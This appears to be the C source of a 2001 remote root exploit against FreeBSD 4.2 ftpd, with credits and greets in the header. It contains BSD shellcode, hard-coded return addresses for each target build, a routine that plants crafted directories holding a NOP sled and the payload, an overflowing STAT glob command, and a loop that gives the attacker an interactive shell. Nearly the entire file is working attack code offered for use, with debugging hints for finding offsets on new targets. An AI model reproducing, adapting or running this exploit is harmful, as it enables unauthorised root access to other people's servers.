/* * (c) Apr 2001 noah williamsson / tm@ns2.crw.se * * Compile: * BSD/Linux: gcc -o fbsdftp-ex -O2 -Wall fbsdftp-ex.c * Solaris: cc -o fbsdftp-ex -O2 -Wall -lresolv -lsocket -lnsl fbsdftp-ex.c * * Credits: * fishstiqz (shellcode) * * Greets: * #Hack.SE * * For adding new targets, some hints are available * around line 180 in this file. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include // #define DEBUG int type, verbose, s; char kjellkode[] = { /* fishstiqz' bsd c0de */ "\x29\xc0\x50\xb0\x17\x50\xcd\x80" "\x29\xc0\x50\xbf\x66\x69\x73\x68" "\x29\xf6\x66\xbe\x49\x46\x31\xfe" "\x56\xbe\x49\x0b\x1a\x06\x31\xfe" "\x56\x89\xe3\x50\x54\x50\x54\x53" "\xb0\x3b\x50\xcd\x80" }; struct { char *name; unsigned long neweip; int offset; int align; int mkds; int cwds; } targets[] = { { "FreeBSD 4.2R ftpd default installation", 0xbfbfa410, 0x58, 0, 26, 50 }, { "FreeBSD 4.2R ftpd compiled with -ggdb", 0xbfbfa430, 0x58, 0, 26, 50 }, { "FreeBSD 4.2S as of Sept 2000", 0xbfbfa450, 0x58, 0, 26, 50 }, { 0 } }; int main(int, char **); void sig(int); int opensock(char *); void usage(void); void ftpd_exp(char *, char *); void ftpd_mkd(int); void tunnel(int); int main(int argc, char *argv[]) { char *host, *user, *pass, buf[8192]; int i, create_dirs = 0; if(argc < 4) usage(); for(i = 1; i < argc; i++) { if(!strcmp(argv[i], "-t")) type = atoi(argv[++i]); if(!strcmp(argv[i], "-v")) verbose = 1; else if(!strcmp(argv[i], "-c")) create_dirs = 1; } pass = argv[argc-1]; user = argv[argc-2]; host = argv[argc-3]; if((s = opensock(host)) <= 0) return -1; printf("[xplt] Target host is %s\n", targets[type].name); memset(buf, 0, sizeof(buf)); read(s, buf, sizeof(buf)); sprintf(buf, "USER %s\r\n", user); write(s, buf, strlen(buf)); memset(buf, 0, sizeof(buf)); read(s, buf, sizeof(buf)); sprintf(buf, "PASS %s\r\n", pass); write(s, buf, strlen(buf)); memset(buf, 0, sizeof(buf)); sleep(1); read(s, buf, sizeof(buf)); #ifdef DEBUG printf("[xplt] Hit enter\n"); read(0, buf, sizeof(buf)); #endif if(create_dirs) { chdir("~"); ftpd_mkd(targets[type].mkds); } ftpd_exp(user, pass); close(s); return 0; } void ftpd_exp(char *login, char *pass) { char buf[4096]; int rep; signal(SIGINT, sig); sprintf(buf, "STAT CCC*"); for(rep = 0; rep < targets[type].cwds; rep++) strcat(buf, "/*"); strcat(buf, "\r\n"); write(s, buf, strlen(buf)); sprintf(buf, "echo '[+] If you can see this line you have a shell [+]' ; /usr/bin/id\n"); write(s, buf, strlen(buf)); printf("[xplt] If you don't receive a line with uid=0 within a few seconds the exploit probably didn't work\n"); tunnel(s); } void ftpd_mkd(int numdirs) { char buf[1024], ftpcmd[1024]; int i; sprintf(buf, "CWD ~\r\n"); write(s, buf, strlen(buf)); memset(buf, 0, sizeof(buf)); read(s, buf, sizeof(buf)); if(verbose) printf("FTP:cwd ~> %s", buf); for(i = 0; i < numdirs; i++) { memset(buf, 0, sizeof(buf)); if(i == 1) { memset(buf, 0x90, 40); memcpy(buf+strlen(buf), kjellkode, strlen(kjellkode)); memset(buf+strlen(buf), 0x90, 203-strlen(buf)); } else if('C'+i == targets[type].offset) { int j; #ifdef DEBUG /* * Start gdb -se=/usr/libexec/ftpd * Attach the ftpd process when you see 'Hit enter' * Hit enter. * * Offset is (segv addy & 0xff) - 0x30 * * Find neweip by doing x/1000wx 0xbfbfa00 * and look for 0x90909090 * */ for(j = 0; j < 39; j++) buf[j] = j + 0x30; #else for(j = 0; j < 40; j+=4) *(unsigned long *)(&buf[j+targets[type].align]) = targets[type].neweip; #endif } else { memset(buf, 'C'+i, 39); } sprintf(ftpcmd, "MKD %s\r\n", buf); write(s, ftpcmd, strlen(ftpcmd)); memset(buf, 0, sizeof(buf)); read(s, buf, 510); if(verbose) printf("FTP:mkd> %s", buf); memcpy(ftpcmd, "CW", 2); write(s, ftpcmd, strlen(ftpcmd)); memset(buf, 0, sizeof(buf)); read(s, buf, 510); if(verbose) printf("FTP:cwd> %s", buf); } printf("[xplt] Created %d directories\n", i); sprintf(buf, "CWD ~\r\n"); write(s, buf, strlen(buf)); memset(buf, 0, sizeof(buf)); read(s, buf, sizeof(buf)); if(verbose) printf("FTP:cwd ~> %s", buf); } int opensock(char *host) { int s; struct sockaddr_in remote_sin; struct hostent *he; if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); return -1; } memset((char *)&remote_sin, 0, sizeof(remote_sin)); if((he = gethostbyname(host)) != NULL) memcpy((char *)&remote_sin.sin_addr, he->h_addr, he->h_length); else if((remote_sin.sin_addr.s_addr = inet_addr(host)) < 0) { perror("gethostbyname()/inet_addr()"); return -1; } remote_sin.sin_family = AF_INET; remote_sin.sin_port = htons(21); if(connect(s, (struct sockaddr *)&remote_sin, sizeof(remote_sin)) == -1) { perror("connect()"); close(s); return -1; } return s; } void usage(void) { int i; printf("Usage: ./fbsdftp-ex [-t ] [-c] [-v] \n"); printf("\t-t\tTarget host type\n"); printf("\t-c\tCreate evil directories\n"); printf("\t-v\tVerbose\n"); printf("\nValid targets:\n"); for(i = 0; targets[i].name; i++) { printf("%d\t%s\n", i, targets[i].name); } exit(0); } void sig(int signo) { close(s); printf("Die!\n"); exit(0); } void tunnel(int sock) { char fbuf[1024], tbuf[1024]; int ret, idx_f = 0, idx_t = 0; int input = 0, output = 1; struct timeval tv; fd_set rd, wd; FD_ZERO(&rd); FD_ZERO(&wd); for(;;) { if(idx_t < 1024) FD_SET(input, &rd); if(idx_f < 1024) FD_SET(sock, &rd); tv.tv_sec = 1; tv.tv_usec = 0; ret = select(sock+1, &rd, &wd, NULL, NULL); if(ret < 1) continue; if(FD_ISSET(sock, &rd) && idx_f != 1024) { ret = read(sock, fbuf + idx_f, sizeof(fbuf) - idx_f); if(ret < 1) break; idx_f += ret; FD_CLR(sock, &rd); } if(FD_ISSET(input, &rd) && idx_t != 1024) { ret = read(input, tbuf + idx_t, sizeof(tbuf) - idx_t); if(ret < 1) break; idx_t += ret; FD_CLR(input, &rd); } if(idx_f) { if((ret = write(output, fbuf, idx_f)) < 1) break; if(!(idx_f -= ret)) memcpy(fbuf, fbuf + ret, idx_f); } if(idx_t) { if((ret = write(sock, tbuf, idx_t)) < 1) break; if(!(idx_t -=ret)) memcpy(tbuf, tbuf + ret, idx_t); } } close(sock); /* DMT$MTA */ } /* www.hack.co.za [18 April 2001]*/